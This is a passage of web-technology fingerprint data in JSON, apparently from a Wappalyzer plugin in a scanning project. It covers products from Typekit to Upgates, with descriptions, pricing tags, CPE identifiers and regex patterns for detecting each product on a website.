\"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"use\\\\.typekit\\\\.com\"\n    ],\n    \"website\": \"https://typekit.com\"\n  },\n  \"Typer.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Typer.js is a JavaScript library for creating a fully configurable typing effect in HTML.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"unpkg\\\\.com/typer-dot-js@([\\\\d\\\\.]+)/typer\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/straversi/Typer.js\"\n  },\n  \"Typof\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"typof_session\": \"\\\\;confidence:50\"\n    },\n    \"description\": \"Typof is an ecommerce platform for artisans that allows to create a premium website and sell items directly to the consumer.\",\n    \"icon\": \"Typof.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"portal/js/typof\\\\.js\\\\;confidence:50\"\n    ],\n    \"website\": \"https://typof.com\"\n  },\n  \"Tyslo EasySell\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Tyslo EasySell replaces default Shopify checkout process by embedding (or popup) a simple order form on the product or cart page.\",\n    \"icon\": \"Tyslo EasySell.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"openTysloForm\": \"\",\n      \"tysloApplyDiscount\": \"\",\n      \"tysloConfigVersion\": \"\",\n      \"tysloEasysellConfig\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tyslo.com\"\n  },\n  \"theMarketer\": {\n    \"cats\": [\n      32,\n      84\n    ],\n    \"cookies\": {\n      \"themarketerbackend_session\": \"\"\n    },\n    \"description\": \"theMarketer is a marketing platform that includes a loyalty program.\",\n    \"icon\": \"theMarketer.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"t\\\\.themarketer\\\\.com/\"\n    ],\n    \"website\": \"https://themarketer.com\"\n  },\n  \"theTradeDesk\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"theTradeDesk is an technology company that markets a software platform used by digital ad buyers to purchase data-driven digital advertising campaigns across various ad formats and devices.\",\n    \"dom\": {\n      \"iframe[src*='insight.adsrvr.org']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"theTradeDesk.svg\",\n    \"js\": {\n      \"TTDUniversalPixelApi\": \"\",\n      \"ttd_dom_ready\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adsrvr\\\\.org/\"\n    ],\n    \"website\": \"https://www.thetradedesk.com\",\n    \"xhr\": [\n      \"adsvr\\\\.org\"\n    ]\n  },\n  \"thttpd\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:acme:thttpd:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"\\\\bthttpd(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"thttpd.png\",\n    \"website\": \"https://acme.com/software/thttpd\"\n  },\n  \"timeago\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Timeago is a jQuery plugin that makes it easy to support automatically updating fuzzy timestamps.\",\n    \"js\": {\n      \"timeago\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?(?:jquery\\\\.)?[Tt]imeago(?:_mkdocs_material)?(?:\\\\.full)?(?:\\\\.locales)?(?:\\\\.native)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://timeago.yarp.com/\"\n  },\n  \"toastr\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"toastr is a Javascript library for non-blocking notifications. The goal is to create a simple core library that can be customized and extended.\",\n    \"icon\": \"toastr.png\",\n    \"js\": {\n      \"toastr.version\": \"(.*)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/CodeSeven/toastr\"\n  },\n  \"total.js\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Total.js is a versatile platform offering open-source JavaScript/Node.js libraries and tools for both server-side and client-side web development.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^total\\\\.js\"\n    },\n    \"icon\": \"total.js.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://totaljs.com\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/u.json",
    "content": "{\n  \"U-KOMI\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"U-KOMI is a user generated content review marketing tool.\",\n    \"icon\": \"U-KOMI.svg\",\n    \"js\": {\n      \"GetUkomiSliderItemInfo\": \"\",\n      \"ukomiInstaLikeStep01\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://u-komi.com/en/\"\n  },\n  \"UGC Creative\": {\n    \"cats\": [\n      90,\n      96\n    ],\n    \"description\": \"UGC Creative is a tool that utilises reviews, Instagram, and TikTok user-generated content on websites to enhance conversion rates and customer lifetime value.\",\n    \"js\": {\n      \"UgcCreativeReview\": \"\",\n      \"ugcReview.prototype._display_item_count\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ugc-creative.com/\"\n  },\n  \"UIKit\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"UIKit is the framework used for developing iOS applications.\",\n    \"html\": [\n      \"<[^>]+class=\\\"[^\\\"]*(?:uk-container|uk-section)\"\n    ],\n    \"icon\": \"UIKit.svg\",\n    \"scriptSrc\": [\n      \"uikit.*\\\\.js\"\n    ],\n    \"website\": \"https://getuikit.com\"\n  },\n  \"UK Mail\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"UK Mail is a postal service company operating in the United Kingdom.\",\n    \"icon\": \"UK Mail.png\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bUK Mail\\\\b\"\n    ],\n    \"website\": \"https://www.ukmail.com\"\n  },\n  \"UKFast\": {\n    \"cats\": [\n      88,\n      62\n    ],\n    \"description\": \"UKFast is a business-to-business internet hosting company based in Manchester, UK.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.ukfast\\\\.net\"\n    },\n    \"icon\": \"UKFast.png\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.ukfast.co.uk\"\n  },\n  \"UMI.CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"UMI.CMS is a content management system (CMS) that provides tools for creating and managing websites, including features for design customization, content management, and site optimization.\",\n    \"headers\": {\n      \"X-Generated-By\": \"UMI\\\\.CMS\"\n    },\n    \"icon\": \"UMI.CMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"onetime\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.umi-cms.ru\"\n  },\n  \"UNA CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"UNA CMS is an open-source platform designed for building social networking sites and online communities with a modular architecture, responsive design, and robust privacy features.\",\n    \"icon\": \"Una CMS.svg\",\n    \"js\": {\n      \"BxArtificerMenuMoreAuto\": \"\",\n      \"bx_autocomplete_fields\": \"\",\n      \"bx_redirect_for_external_links\": \"\",\n      \"bx_search_extnded_sort\": \"\",\n      \"bx_site_search_complet\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://unacms.com\"\n  },\n  \"UNIX\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:unix:unix:*:*:*:*:*:*:*:*\",\n    \"description\": \"Unix is a family of multitasking, multiuser computer operating systems.\",\n    \"headers\": {\n      \"Server\": \"Unix\"\n    },\n    \"icon\": \"UNIX.png\",\n    \"website\": \"https://unix.org\"\n  },\n  \"UPS\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"UPS is an American multinational shipping & receiving and supply chain management company.\",\n    \"icon\": \"UPS.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\b(?<!-)UPS\\\\b\"\n    ],\n    \"website\": \"https://www.ups.com\"\n  },\n  \"USPS\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"The United States Postal Service (USPS) is an independent agency of the executive branch of the United States federal government responsible for providing postal service in the United States.\",\n    \"icon\": \"USPS.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bUSPS\\\\b\",\n      \"\\\\bUnited States Postal Service\\\\b\"\n    ],\n    \"website\": \"https://www.usps.com\"\n  },\n  \"USWDS\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"USWDS is a design system for the federal government.\",\n    \"icon\": \"USWDS.svg\",\n    \"js\": {\n      \"uswdsPresent\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"\\\\buswds\\\\b\"\n    ],\n    \"website\": \"https://designsystem.digital.gov\"\n  },\n  \"Ubercart\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Ubercart.png\",\n    \"implies\": [\n      \"Drupal\"\n    ],\n    \"scriptSrc\": [\n      \"uc_cart/uc_cart_block\\\\.js\"\n    ],\n    \"website\": \"https://www.ubercart.org\"\n  },\n  \"Ubiliz\": {\n    \"cats\": [\n      5,\n      6\n    ],\n    \"description\": \"Ubiliz is a gift voucher ecommerce solution.\",\n    \"icon\": \"Ubiliz.svg\",\n    \"js\": {\n      \"ubilizSettings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ubiliz.com\"\n  },\n  \"Ubuntu\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:canonical:ubuntu_linux:*:*:*:*:*:*:*:*\",\n    \"description\": \"Ubuntu is a free and open-source operating system on Linux for the enterprise server, desktop, cloud, and IoT.\",\n    \"headers\": {\n      \"Server\": \"Ubuntu\",\n      \"X-Powered-By\": \"Ubuntu\"\n    },\n    \"icon\": \"Ubuntu.svg\",\n    \"website\": \"https://www.ubuntu.com/server\"\n  },\n  \"Ucalc\": {\n    \"cats\": [\n      5,\n      110\n    ],\n    \"description\": \"Ucalc is a platform offering calculators and form building tools, facilitating efficient computation and streamlined data collection processes.\",\n    \"icon\": \"Ucalc.svg\",\n    \"js\": {\n      \"uCalc\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ucalc\\\\.pro/api/\"\n    ],\n    \"website\": \"https://ucalc.pro\"\n  },\n  \"Ucommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ucommerce is an ecommerce platform for enterprise-level online businesses.\",\n    \"icon\": \"Ucommerce.svg\",\n    \"js\": {\n      \"uCommerce\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"uCommerce\\\\.facets\\\\.js\"\n    ],\n    \"website\": \"https://ucommerce.net\"\n  },\n  \"Ueeshop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ueeshop is a ecommerce platform from China.\",\n    \"icon\": \"Ueeshop.png\",\n    \"js\": {\n      \"ueeshop_config\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ueeshop.com\"\n  },\n  \"Ultimate\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Ultimate is a platform for automating customer service using conversational and generative AI technology.\",\n    \"icon\": \"Ultimate.svg\",\n    \"js\": {\n      \"ultimateAiLogin\": \"\",\n      \"ultimateAiUpdateUser\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ultimate.ai\"\n  },\n  \"Ultimate Addons for Elementor\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Ultimate Addons for Elementor is a plugin that adds new widgets and modules to the Elementor page builder for WordPress, providing additional design options and functionality.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/ultimate-elementor/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/ultimate-elementor/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Ultimate Addons for Elementor.svg\",\n    \"implies\": [\n      \"Elementor\"\n    ],\n    \"js\": {\n      \"uael_particles_script.particles_url\": \"/wp-content/plugins/ultimate-elementor/\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://ultimateelementor.com\"\n  },\n  \"Ultimate Bulletin Board\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Ultimate Bulletin Board is an internet forum software designed for online communities, offering features such as user registration, thread organisation, moderation tools, search functionality, and customisable design options to facilitate discussions and community engagement.\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^UBB\\\\.threads\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"website\": \"https://www.ubbcentral.com\"\n  },\n  \"Ultimate GDPR & CCPA\": {\n    \"cats\": [\n      67,\n      87\n    ],\n    \"description\": \"Ultimate GDPR & CCPA is a compliance toolkit for WordPress by createIT\",\n    \"icon\": \"Ultimate GDPR & CCPA.png\",\n    \"js\": {\n      \"ct_ultimate_gdpr_cookie\": \"\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.createit.com/gdpr\"\n  },\n  \"UltimatelySocial\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Ultimately Social (Share Buttons & Sharing Icons) is a plugin that allows you to place fancy social media icons and buttons on your WordPress website.\",\n    \"icon\": \"UltimatelySocial.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/ultimate-social-media-icons/\"\n    ],\n    \"website\": \"https://www.ultimatelysocial.com\"\n  },\n  \"UltraCart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"UltraCart is an ecommerce platform offering shopping cart and payment processing solutions for online stores.\",\n    \"dom\": [\n      \"a[href*='/cgi-bin/UCEditor?merchantId']\"\n    ],\n    \"html\": [\n      \"<form [^>]*action=\\\"[^\\\"]*\\\\/cgi-bin\\\\/UCEditor\\\\?(?:[^\\\"]*&)?merchantId=[^\\\"]\"\n    ],\n    \"icon\": \"UltraCart.svg\",\n    \"js\": {\n      \"ucCatalog\": \"\",\n      \"ultracart\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cgi-bin\\\\/UCJavaScript\\\\?\"\n    ],\n    \"url\": [\n      \"/cgi-bin/UCEditor\\\\?\"\n    ],\n    \"website\": \"https://ultracart.com\"\n  },\n  \"Umami\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Umami is a self-hosted web analytics solution. It's goal is to provide a friendlier, privacy-focused alternative to Google Analytics and a free, open-sourced alternative to paid solutions.\",\n    \"icon\": \"umami.svg\",\n    \"js\": {\n      \"umami\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"umami\\\\.js\"\n    ],\n    \"website\": \"https://umami.is/\"\n  },\n  \"Umbraco\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"merchello\": \"\\\\;version:7\"\n    },\n    \"cpe\": \"cpe:2.3:a:umbraco:umbraco:*:*:*:*:*:*:*:*\",\n    \"description\": \"Umbraco is an open-source Microsoft ASP.NET based content management system.\",\n    \"dom\": [\n      \"script[src*='/UmbracoForms/']\",\n      \"a[data-udi^='umb://']\",\n      \"form[action^='/umbraco/Surface/']\",\n      \"a[href^='/umbraco/Surface/']\",\n      \"fieldset.umbraco-forms-fieldset\"\n    ],\n    \"headers\": {\n      \"X-Umbraco-Version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Umbraco.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"ITEM_INFO_SERVICE\": \"\",\n      \"UC_IMAGE_SERVICE\": \"\",\n      \"UC_ITEM_INFO_SERVICE\": \"\",\n      \"UC_SETTINGS\": \"\",\n      \"Umbraco\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"umbraco\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"/Umbraco/Api/\"\n    ],\n    \"url\": [\n      \"/umbraco/login\\\\.aspx(?:$|\\\\?)\"\n    ],\n    \"website\": \"https://umbraco.com/\",\n    \"xhr\": [\n      \"/umbraco/api/\"\n    ]\n  },\n  \"UmiJs\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"UmiJs is a scalable, enterprise-class frontend application framework that supports both configuration and conventional routing while maintaining functional completeness, such as dynamic routing, nested routing, and permission routing.\",\n    \"icon\": \"UmiJs.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"g_umi.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/umi(\\\\.[\\\\w\\\\d]{8})?\\\\.js\"\n    ],\n    \"website\": \"https://umijs.org\"\n  },\n  \"Umso\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Umso is a website builder for Startups.\",\n    \"dom\": [\n      \"link[href*='.umso.co/'], img[src*='.umso.co/'], video[poster*='.umso.co/']\"\n    ],\n    \"icon\": \"Umso.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"isPriorBlockingEnabled\\\\;confidence:75\"\n    ],\n    \"website\": \"https://www.umso.com\"\n  },\n  \"Unas\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"UnasID\": \"\",\n      \"UnasServiceProxyID\": \"\"\n    },\n    \"description\": \"Unas is an all-in-one ecommerce platform from Hungary.\",\n    \"icon\": \"Unas.svg\",\n    \"js\": {\n      \"UNAS.shop\": \"\",\n      \"unas_shop_url\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://unas.hu\"\n  },\n  \"Unbounce\": {\n    \"cats\": [\n      20,\n      51\n    ],\n    \"description\": \"Unbounce is a tool to build landing pages.\",\n    \"headers\": {\n      \"X-Unbounce-PageId\": \"\"\n    },\n    \"icon\": \"Unbounce.svg\",\n    \"scriptSrc\": [\n      \"ubembed\\\\.com\"\n    ],\n    \"website\": \"https://unbounce.com\"\n  },\n  \"Unbound Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Unbound Commerce is a mobile and ecommerce provider for retailers.\",\n    \"dom\": [\n      \"link[href*='.unboundcommerce.com']\"\n    ],\n    \"icon\": \"UnboundCommerce.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.unboundcommerce\\\\.com/\"\n    ],\n    \"website\": \"https://www.unboundcommerce.com\"\n  },\n  \"Unbox\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Unbox is an ecommerce platform for D2C brands.\",\n    \"dom\": [\n      \"link[imagesrcset*='unbox-customer-images-production'], img[srcset*='unbox-customer-images-production']\"\n    ],\n    \"icon\": \"unbox.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.shop.storeTemplateUrl\": \"unbox-store-production\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Next.js\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://unbox.com.br\"\n  },\n  \"Unbxd\": {\n    \"cats\": [\n      76,\n      29\n    ],\n    \"description\": \"Unbxd is an ecommerce product discovery platform that applies artificial intelligence and advanced data sciences to connect shoppers to the products they are most likely to buy.\",\n    \"icon\": \"Unbxd.svg\",\n    \"js\": {\n      \"Unbxd.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cloudfront\\\\.net/unbxdAnalytics\\\\.js\",\n      \"unbxd\\\\.s\\\\d\\\\.amazonaws\\\\.com\"\n    ],\n    \"website\": \"https://unbxd.com\"\n  },\n  \"Underscore.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Underscore.js is a JavaScript library which provides utility functions for common programming tasks. It is comparable to features provided by Prototype.js and the Ruby language, but opts for a functional programming design instead of extending object prototypes.\",\n    \"excludes\": [\n      \"Lodash\"\n    ],\n    \"icon\": \"Underscore.js.png\",\n    \"js\": {\n      \"_.VERSION\": \"^(.+)$\\\\;confidence:0\\\\;version:\\\\1\",\n      \"_.restArguments\": \"\"\n    },\n    \"scriptSrc\": [\n      \"underscore.*\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://underscorejs.org\"\n  },\n  \"Understrap\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Understrap is a renowned WordPress starter theme framework that combined Underscores and Bootstrap.\",\n    \"icon\": \"Understrap.png\",\n    \"implies\": [\n      \"Bootstrap\",\n      \"Underscore.js\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"wp-content/themes/understrap(?:[masterchild-]+)?(?:[masterchild-]+)?/\"\n    ],\n    \"website\": \"https://understrap.com\"\n  },\n  \"UniFi OS\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"UniFi OS is the operating system for UniFi products, which provides a user interface.\",\n    \"icon\": \"UniFi_OS.svg\",\n    \"js\": {\n      \"unifiConstant.VERSION\": \"^([\\\\d+\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"requires\": [\n      \"AngularJS\"\n    ],\n    \"website\": \"https://www.ui.com/\"\n  },\n  \"Uniconsent\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Uniconsent is a Consent Management Platform.\",\n    \"icon\": \"Uniconsent.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cmp\\\\.uniconsent\\\\.mgr\\\\.consensu\\\\.org/\"\n    ],\n    \"website\": \"https://www.uniconsent.com/\"\n  },\n  \"Unicorn Platform\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"Unicorn Platform is a drag and drop website and blog builder for startups, mobile apps, and SaaS.\",\n    \"icon\": \"Unicorn Platform.svg\",\n    \"js\": {\n      \"unicornplatform\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://unicornplatform.com\"\n  },\n  \"Unilog\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Unilog is a cloud-based ecommerce platform, designed specifically for B2B businesses.\",\n    \"js\": {\n      \"Unilog\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.unilogcorp\\\\.com/\"\n    ],\n    \"website\": \"https://unilogcorp.com\"\n  },\n  \"Unless\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Unless is an AI-driven solution to enhance customer success.\",\n    \"dom\": [\n      \"script[data-unless]\"\n    ],\n    \"icon\": \"Unless.svg\",\n    \"js\": {\n      \"unlessComponentCleanUp\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.unless\\\\.com/\"\n    ],\n    \"website\": \"https://unless.com/\"\n  },\n  \"UnoCSS\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"--un-(?:rotate|translate|space-x|text-opacity|border-opacity)\"\n    ],\n    \"description\": \"UnoCSS is instant on-demand Atomic CSS engine.\",\n    \"dom\": {\n      \"style[data-unocss]\": {\n        \"attributes\": {\n          \"data-unocss\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"UnoCSS.svg\",\n    \"oss\": true,\n    \"website\": \"https://uno.antfu.me/\"\n  },\n  \"Unpkg\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Unpkg is a content delivery network for everything on npm.\",\n    \"dom\": [\n      \"link[href*='unpkg.com']\"\n    ],\n    \"icon\": \"Unpkg.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"unpkg\\\\.com/\"\n    ],\n    \"website\": \"https://unpkg.com\"\n  },\n  \"Unpoly\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Unpoly is an unobtrusive Javascript framework for applications that render on the server.\",\n    \"icon\": \"Unpoly.svg\",\n    \"js\": {\n      \"up.CompilerPass\": \"\\\\;confidence:25\",\n      \"up.framework\": \"\\\\;confidence:26\",\n      \"up.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/unpoly@([\\\\d\\\\.]+)/unpoly\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://unpoly.com\"\n  },\n  \"Unruly\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Unruly is a video advertising platform.\",\n    \"dom\": [\n      \"link[href*='.unrulymedia.com']\"\n    ],\n    \"icon\": \"Unruly.svg\",\n    \"js\": {\n      \"unruly.native\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://unruly.co\"\n  },\n  \"Unstack\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"unstack_sid\": \"\"\n    },\n    \"description\": \"Unstack is a no-code CMS enabling the deployment of high-performance ecommerce storefronts and websites without engineering overhead.\",\n    \"icon\": \"Unstack.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.unstack\\\\.com/\"\n    ],\n    \"website\": \"https://www.unstack.com\"\n  },\n  \"UpScale Systems\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"UpScale Systems is an all-in-one platform to enhance local businesses.\",\n    \"icon\": \"UpScale.svg\",\n    \"meta\": {\n      \"title\": \"^UpScale$\"\n    },\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.upscale-systems\\\\.com\"\n    ],\n    \"website\": \"https://upscale-systems.com\"\n  },\n  \"UpSellit\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"UpSellit is a performance based lead and cart abandonment recovery solutions.\",\n    \"icon\": \"UpSellit.png\",\n    \"js\": {\n      \"usi_analytics\": \"\\\\;confidence:25\",\n      \"usi_app\": \"\\\\;confidence:25\",\n      \"usi_commons\": \"\\\\;confidence:25\",\n      \"usi_cookies\": \"\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.upsellit\\\\.com/\"\n    ],\n    \"website\": \"https://us.upsellit.com\"\n  },\n  \"UpSolution Zephyr\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Zephyr is a WordPress theme developed by UpSolution, a software development company based in Ukraine that specialises in creating themes and plugins for WordPress.\",\n    \"icon\": \"UpSolution.png\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/Zephyr/.+us\\\\.theme\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://zephyr.us-themes.com\"\n  },\n  \"Upfluence\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Upfluence is the all-in-one affiliate and influencer marketing platform for ecommerce and direct-to-consumer brands.\",\n    \"icon\": \"Upfluence.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.upfluence\\\\.co/\"\n    ],\n    \"website\": \"https://www.upfluence.com\"\n  },\n  \"Upgates\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Upgates is a subscription-based ecommerce software used to build eshops.\",\n    \"icon\": \"Upgates.svg\",\n    \"js\": {\n      \"upgates\": \"\"\n    },\n    \"meta\": {\n      \"web_author\": \"^UPgates$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": 